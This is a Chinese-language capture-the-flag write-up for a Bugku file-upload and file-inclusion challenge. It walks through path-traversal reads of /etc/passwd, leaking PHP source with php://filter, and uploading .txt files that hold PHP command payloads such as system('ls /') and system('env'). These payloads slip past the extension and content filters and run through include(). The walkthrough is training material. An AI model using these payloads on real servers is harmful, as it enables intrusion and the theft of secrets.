upload - Bugku CTF 本题是一个文件上传和文件读取漏洞的组合题目。
查看页面源代码发现 /read.php 页面可能存在文件读取漏洞。
/read.php?filename=../../../../../etc/passwd
进行尝试,发现页面有回显,确实存在文件读取漏洞。
也可以使用 file 伪协议读取文件内容。/read.php?filename=file:///etc/passwd
当然 php 伪协议也是可以的。 我们想要获得主页面源代码来更好地绕过它,但由于主页面是php文件,使用前面两种方法没有办法直接读取到文件内容,这里用 php 伪协议指定 /index.php 为要过滤的数据流,并对其进行base64编码输出。/read.php?filename=php://filter/convert.base64-encode/resource=index.php
将输出的数据流进行base64解码即可得到 index.php 源代码。Base64 编码/解码 - 锤子在线工具
除了在线工具,也可以使用 python 来进行解码。
1 2 3 4 5 6 import base64encoded_string = "PGRpdiBjbGFzcz0ibGlnaHQiPjxzcGFuIGNsYXNzPSJnbG93Ij4KCQkJPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIGNoZWNrRmlsZSgpIj4KCQkJCeWYv+S8meiuoe+8jOS8oOS4queBq++8n++8gQogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJpbnB1dF9maWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZSIvPgogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIi8+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgPC9zcGFuPjxzcGFuIGNsYXNzPSJmbGFyZSI+PC9zcGFuPjxkaXY+CgkgIDwhLS1yZWFkLnBocD9maWxlbmFtZT0gIC0tPgo8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJLy/orr7nva7kuIrkvKDnm67lvZUKCWRlZmluZSgiVVBMT0FEX1BBVEgiLCAiLi91cGxvNGQiKTsKCSRtc2cgPSAiVXBsb2FkIFN1Y2Nlc3MhIjsKCWlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSkgewogICAgICAgICR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRmaWxlX25hbWUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyduYW1lJ107CiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlX25hbWUsUEFUSElORk9fRVhURU5TSU9OKTsKICAgICAgaWYocHJlZ19tYXRjaCgiL3BoL2kiLCBzdHJ0b2xvd2VyKCRleHQpKSl7CiAgICAgICAgZGllKCLov5nlj6/kuI3og73kuIrkvKDllYrvvIEiKTsKICAgIH0KICAgICAgIAogICAgICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wX2ZpbGUpOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvcGhwL2kiLCAkY29udGVudCkpewogICAgICAgICAgICAgICAgZGllKCLor7bvvIzooqvmiJHlj5HnjrDkuoblkKciKTsKICAgICAgICAgICAgfQoKICAgICAgICAkbmV3X2ZpbGVfbmFtZSA9IG1kNSgkZmlsZV9uYW1lKS4iLiIuJGV4dDsKICAgICAgICAkaW1nX3BhdGggPSBVUExPQURfUEFUSCAuICcvJyAuICRuZXdfZmlsZV9uYW1lOwoKCiAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdGVtcF9maWxlLCAkaW1nX3BhdGgpKXsKICAgICAgICAgICAgJGlzX3VwbG9hZCA9IHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICdVcGxvYWQgRmFpbGVkISc7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxkaXYgc3R5bGU9ImNvbG9yOiNGMDAiPicuJG1zZy4iIExvb2sgaGVyZX4gIi4kaW1nX3BhdGguIjwvZGl2PiI7CiAgICB9CgoKPz4=" decoded_data = base64.b64decode(encoded_string) print (decoded_data.decode('utf-8' ))
解码后源代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_POST ['submit' ])) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_name = $_FILES ['upload_file' ]['name' ]; $ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (preg_match ("/ph/i" , strtolower ($ext ))){ die ("这可不能上传啊!" ); } $content = file_get_contents ($temp_file ); if (preg_match ("/php/i" , $content )){ die ("诶,被我发现了吧" ); } } ?>
审计源代码发现,该网站对上传文件的后缀名进行了正则表达式的检测,含有“ph”的文件后缀名回显“这可不能上传啊!”,对文件内容也进行了检测,对含有“php”的内容的文件则回显“诶,被我发现了吧”。
同理获取/read.php的源码,发现存在文件包含漏洞且过滤路径中的 flag 关键字,其中include() 函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
1 2 3 4 5 6 7 <?php $a =$_GET ["filename" ];if (preg_match ('/flag/i' ,$a )){ exit ("nononono" ); } include ($a );?>
新建 txt 文件,内容如下。<?= system("ls /"); ?>
绕过 index.php 对文件内容和文件后缀的限制,上传后得到文件存储路径,并在 read.php 页面利用文件包含漏洞读取前面上传的 txt 文件,发现 flag 文件位于目标服务器根目录下。/read.php?filename=./uplo4d/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
回显如下。bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
新建新的 txt 文件,利用通配符的方式来绕过 read.php 对文件内容的限制,内容为<?= system("cat /????"); ?>
,重复上述步骤,得到提示flag在环境变量中。Flag is in the environment variable --From a warrior who asked not to be named
最后一个 txt 文件内容为<?= system("env"); ?>
,重复上述步骤,得到 flag 。0xGame{upl0ad_f1le_causes_danger!!!}